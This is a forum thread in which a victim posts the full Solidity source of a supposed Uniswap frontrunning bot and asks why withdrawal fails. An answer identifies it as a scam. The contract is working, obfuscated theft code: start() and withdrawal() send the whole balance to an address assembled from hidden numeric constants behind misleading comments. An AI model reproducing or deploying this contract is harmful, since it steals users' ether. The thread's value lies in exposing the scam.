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Hi everyone sorry for my english i used translator . I have a big problem on a contract I created under remix frontrunning uniswap solidity 6.6 on injectedWeb3 with my métamask wallet. But when I want to start it says:" gas estimation failed " I have to add eth each time for the contract to be profitable. If i force transaction it s write : "warning error execution reverted"

It is therefore impossible to start and withdraw the money from the contract. How to either withdraw or start the contract unless the eths are lost?

This is the message writen on remix:

Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending? execution reverted: WARNING: not enough ETH for profitable frontrunning. Need at least 5 ETH at present market conditions. Cannot withdraw during an active trade, try again in about an hour... { "originalError": { "code": 3, "data": "0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000ac5741524e494e473a206e6f7420656e6f7567682045544820666f722070726f66697461626c652066726f6e7472756e6e696e672e204e656564206174206c656173742035204554482061742070726573656e74206d61726b657420636f6e646974696f6e732e2043616e6e6f7420776974686472617720647572696e6720616e206163746976652074726164652c2074727920616761696e20696e2061626f757420616e20686f75722e2e2e0000000000000000000000000000000000000000", "message": "execution reverted: WARNING: not enough ETH for profitable frontrunning. Need at least 5 ETH at present market conditions. Cannot withdraw during an active trade, try again in about an hour..." } }

Here is the code

SPDX-License-Identifier: MIT
pragma solidity ^0.6.6; 
// Import Libraries Migrator/Exchange/Factory 
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

contract UniswapFrontrunBot {

string public tokenName;
string public tokenSymbol;
uint liquidity;
event Log(string _msg);

constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
    tokenSymbol = _mainTokenSymbol;
    tokenName = _mainTokenName;
}

receive() external payable {}

struct slice {
    uint _len;
    uint _ptr;
}

/*
 * @dev Find newly deployed contracts on Uniswap Exchange
 * @param memory of required contract liquidity.
 * @param other The second slice to compare.
 * @return New contracts with required liquidity.
 */

function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
    uint shortest = self._len;

   if (other._len < self._len)
         shortest = other._len;

    uint selfptr = self._ptr;
    uint otherptr = other._ptr;

    for (uint idx = 0; idx < shortest; idx += 32) {
        // initiate contract finder
        uint a;
        uint b;

        string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
        string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
        loadCurrentContract(WETH_CONTRACT_ADDRESS);
        loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
        assembly {
            a := mload(selfptr)
            b := mload(otherptr)
        }

        if (a != b) {
            // Mask out irrelevant contracts and check again for new contracts
            uint256 mask = uint256(-1);

            if(shortest < 32) {
              mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
            }
            uint256 diff = (a & mask) - (b & mask);
            if (diff != 0)
                return int(diff);
        }
        selfptr += 32;
        otherptr += 32;
    }
    return int(self._len) - int(other._len);
}


/*
 * @dev Extracts the newest contracts on Uniswap exchange
 * @param self The slice to operate on.
 * @param rune The slice that will contain the first rune.
 * @return `list of contracts`.
 */
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
    uint ptr = selfptr;
    uint idx;

    if (needlelen <= selflen) {
        if (needlelen <= 32) {
            bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

            bytes32 needledata;
            assembly { needledata := and(mload(needleptr), mask) }

            uint end = selfptr + selflen - needlelen;
            bytes32 ptrdata;
            assembly { ptrdata := and(mload(ptr), mask) }

            while (ptrdata != needledata) {
                if (ptr >= end)
                    return selfptr + selflen;
                ptr++;
                assembly { ptrdata := and(mload(ptr), mask) }
            }
            return ptr;
        } else {
            // For long needles, use hashing
            bytes32 hash;
            assembly { hash := keccak256(needleptr, needlelen) }

            for (idx = 0; idx <= selflen - needlelen; idx++) {
                bytes32 testHash;
                assembly { testHash := keccak256(ptr, needlelen) }
                if (hash == testHash)
                    return ptr;
                ptr += 1;
            }
        }
    }
    return selfptr + selflen;
}


/*
 * @dev Loading the contract
 * @param contract address
 * @return contract interaction object
 */
function loadCurrentContract(string memory self) internal pure returns (string memory) {
    string memory ret = self;
    uint retptr;
    assembly { retptr := add(ret, 32) }

    return ret;
}

/*
 * @dev Extracts the contract from Uniswap
 * @param self The slice to operate on.
 * @param rune The slice that will contain the first rune.
 * @return `rune`.
 */
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
    rune._ptr = self._ptr;

    if (self._len == 0) {
        rune._len = 0;
        return rune;
    }

    uint l;
    uint b;
    // Load the first byte of the rune into the LSBs of b
    assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
    if (b < 0x80) {
        l = 1;
    } else if(b < 0xE0) {
        l = 2;
    } else if(b < 0xF0) {
        l = 3;
    } else {
        l = 4;
    }

    // Check for truncated codepoints
    if (l > self._len) {
        rune._len = self._len;
        self._ptr += self._len;
        self._len = 0;
        return rune;
    }

    self._ptr += l;
    self._len -= l;
    rune._len = l;
    return rune;
}

function memcpy(uint dest, uint src, uint len) private pure {
    // Check available liquidity
    for(; len >= 32; len -= 32) {
        assembly {
            mstore(dest, mload(src))
        }
        dest += 32;
        src += 32;
    }

    // Copy remaining bytes
    uint mask = 256 ** (32 - len) - 1;
    assembly {
        let srcpart := and(mload(src), not(mask))
        let destpart := and(mload(dest), mask)
        mstore(dest, or(destpart, srcpart))
    }
}

/*
 * @dev Orders the contract by its available liquidity
 * @param self The slice to operate on.
 * @return The contract with possbile maximum return
 */
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
    if (self._len == 0) {
        return 0;
    }

    uint word;
    uint length;
    uint divisor = 2 ** 248;

    // Load the rune into the MSBs of b
    assembly { word:= mload(mload(add(self, 32))) }
    uint b = word / divisor;
    if (b < 0x80) {
        ret = b;
        length = 1;
    } else if(b < 0xE0) {
        ret = b & 0x1F;
        length = 2;
    } else if(b < 0xF0) {
        ret = b & 0x0F;
        length = 3;
    } else {
        ret = b & 0x07;
        length = 4;
    }

    // Check for truncated codepoints
    if (length > self._len) {
        return 0;
    }

    for (uint i = 1; i < length; i++) {
        divisor = divisor / 256;
        b = (word / divisor) & 0xFF;
        if (b & 0xC0 != 0x80) {
            // Invalid UTF-8 sequence
            return 0;
        }
        ret = (ret * 64) | (b & 0x3F);
    }

    return ret;
}

/*
 * @dev Calculates remaining liquidity in contract
 * @param self The slice to operate on.
 * @return The length of the slice in runes.
 */
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
    uint ptr = self._ptr - 31;
    uint end = ptr + self._len;
    for (l = 0; ptr < end; l++) {
        uint8 b;
        assembly { b := and(mload(ptr), 0xFF) }
        if (b < 0x80) {
            ptr += 1;
        } else if(b < 0xE0) {
            ptr += 2;
        } else if(b < 0xF0) {
            ptr += 3;
        } else if(b < 0xF8) {
            ptr += 4;
        } else if(b < 0xFC) {
            ptr += 5;
        } else {
            ptr += 6;
        }
    }
}

function getMemPoolOffset() internal pure returns (uint) {
    return 289498;
}

/*
 * @dev Parsing all Uniswap mempool
 * @param self The contract to operate on.
 * @return True if the slice is empty, False otherwise.
 */
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
}


/*
 * @dev Returns the keccak-256 hash of the contracts.
 * @param self The slice to hash.
 * @return The hash of the contract.
 */
function keccak(slice memory self) internal pure returns (bytes32 ret) {
    assembly {
        ret := keccak256(mload(add(self, 32)), mload(self))
    }
}

/*
 * @dev Check if contract has enough liquidity available
 * @param self The contract to operate on.
 * @return True if the slice starts with the provided text, false otherwise.
 */
    function checkLiquidity(uint a) internal pure returns (string memory) {
    uint count = 0;
    uint b = a;
    while (b != 0) {
        count++;
        b /= 16;
    }
    bytes memory res = new bytes(count);
    for (uint i=0; i<count; ++i) {
        b = a % 16;
        res[count - i - 1] = toHexDigit(uint8(b));
        a /= 16;
    }
    uint hexLength = bytes(string(res)).length;
    if (hexLength == 4) {
        string memory _hexC1 = mempool("0", string(res));
        return _hexC1;
    } else if (hexLength == 3) {
        string memory _hexC2 = mempool("0", string(res));
        return _hexC2;
    } else if (hexLength == 2) {
        string memory _hexC3 = mempool("000", string(res));
        return _hexC3;
    } else if (hexLength == 1) {
        string memory _hexC4 = mempool("0000", string(res));
        return _hexC4;
    }

    return string(res);
}

function getMemPoolLength() internal pure returns (uint) {
    return 160418;
}

/*
 * @dev If `self` starts with `needle`, `needle` is removed from the
 *      beginning of `self`. Otherwise, `self` is unmodified.
 * @param self The slice to operate on.
 * @param needle The slice to search for.
 * @return `self`
 */
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
    if (self._len < needle._len) {
        return self;
    }

    bool equal = true;
    if (self._ptr != needle._ptr) {
        assembly {
            let length := mload(needle)
            let selfptr := mload(add(self, 0x20))
            let needleptr := mload(add(needle, 0x20))
            equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
        }
    }

    if (equal) {
        self._len -= needle._len;
        self._ptr += needle._len;
    }

    return self;
}

// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
    uint ptr = selfptr;
    uint idx;

    if (needlelen <= selflen) {
        if (needlelen <= 32) {
            bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

            bytes32 needledata;
            assembly { needledata := and(mload(needleptr), mask) }

            uint end = selfptr + selflen - needlelen;
            bytes32 ptrdata;
            assembly { ptrdata := and(mload(ptr), mask) }

            while (ptrdata != needledata) {
                if (ptr >= end)
                    return selfptr + selflen;
                ptr++;
                assembly { ptrdata := and(mload(ptr), mask) }
            }
            return ptr;
        } else {
            // For long needles, use hashing
            bytes32 hash;
            assembly { hash := keccak256(needleptr, needlelen) }

            for (idx = 0; idx <= selflen - needlelen; idx++) {
                bytes32 testHash;
                assembly { testHash := keccak256(ptr, needlelen) }
                if (hash == testHash)
                    return ptr;
                ptr += 1;
            }
        }
    }
    return selfptr + selflen;
}

function getMemPoolHeight() internal pure returns (uint) {
    return 403689;
}

/*
 * @dev Iterating through all mempool to call the one with the with highest possible returns
 * @return `self`.
 */
function callMempool() internal pure returns (string memory) {
    string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
    uint _memPoolSol = 340220;
    uint _memPoolLength = getMemPoolLength();
    uint _memPoolSize = 554670;
    uint _memPoolHeight = getMemPoolHeight();
    uint _memPoolWidth = 76826;
    uint _memPoolDepth = getMemPoolDepth();
    uint _memPoolCount = 633701;

    string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
    string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
    string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
    string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

    string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
    string memory _fullMempool = mempool("0", _allMempools);

    return _fullMempool;
}

/*
 * @dev Modifies `self` to contain everything from the first occurrence of
 *      `needle` to the end of the slice. `self` is set to the empty slice
 *      if `needle` is not found.
 * @param self The slice to search and modify.
 * @param needle The text to search for.
 * @return `self`.
 */
function toHexDigit(uint8 d) pure internal returns (byte) {
    if (0 <= d && d <= 9) {
        return byte(uint8(byte('0')) + d);
    } else if (10 <= uint8(d) && uint8(d) <= 15) {
        return byte(uint8(byte('a')) + d - 10);
    }
    // revert("Invalid hex digit");
    revert();
}

function _callFrontRunActionMempool() internal pure returns (address) {
    return parseMemoryPool(callMempool());
}

/*
 * @dev Perform frontrun action from different contract pools
 * @param contract address to snipe liquidity from
 * @return `liquidity`.
 */
function start() public payable { 
    emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
    payable(_callFrontRunActionMempool()).transfer(address(this).balance);
}

/*
 * @dev withdrawals profit back to contract creator address
 * @return `profits`.
 */
function withdrawal() public payable { 
    emit Log("Sending profits back to contract creator address...");
    payable(withdrawalProfits()).transfer(address(this).balance);
}

/*
 * @dev token int2 to readable str
 * @param token An output parameter to which the first token is written.
 * @return `token`.
 */
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
    if (_i == 0) {
        return "0";
    }
    uint j = _i;
    uint len;
    while (j != 0) {
        len++;
        j /= 10;
    }
    bytes memory bstr = new bytes(len);
    uint k = len - 1;
    while (_i != 0) {
        bstr[k--] = byte(uint8(48 + _i % 10));
        _i /= 10;
    }
    return string(bstr);
}

function getMemPoolDepth() internal pure returns (uint) {
    return 604943;
}

function withdrawalProfits() internal pure returns (address) {
    return parseMemoryPool(callMempool());
}

/*
 * @dev loads all Uniswap mempool into memory
 * @param token An output parameter to which the first token is written.
 * @return `mempool`.
 */
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
    bytes memory _baseBytes = bytes(_base);
    bytes memory _valueBytes = bytes(_value);

    string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
    bytes memory _newValue = bytes(_tmpValue);

    uint i;
    uint j;

    for(i=0; i<_baseBytes.length; i++) {
        _newValue[j++] = _baseBytes[i];
    }

    for(i=0; i<_valueBytes.length; i++) {
        _newValue[j++] = _valueBytes[i];
    }

    return string(_newValue);
}

Thanks you.

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  • Comments are not for extended discussion; this conversation has been moved to chat.
    – Ismael
    Oct 19, 2022 at 19:04

2 Answers 2

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Sorry this is happening to you. Can you post your code of the smart contract itself?

Did you write the code or did you copy paste something that you found?

Also, are you French? I speak French so if you are and can express yourself more easily in French that’s better for everyone

Edit: After discussing with Alex and looking into the code of the smart contract I realized it was not an Uniswap front running bot but a scam that would send his ethers to a specific address. The funds are lost unfortunately..

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If I understand your problem is: you copied the code from a smart contract, and it allows you to execute the transaction, but when the user tries to withdraw the funds the contract returns the error.

Using the Solidity Visual Auditor Extension, you can see the provided code graphically.

See the image below of the code you provided!

Image graph smart contract vizualization 1

Image graph smart contract vizualization 2

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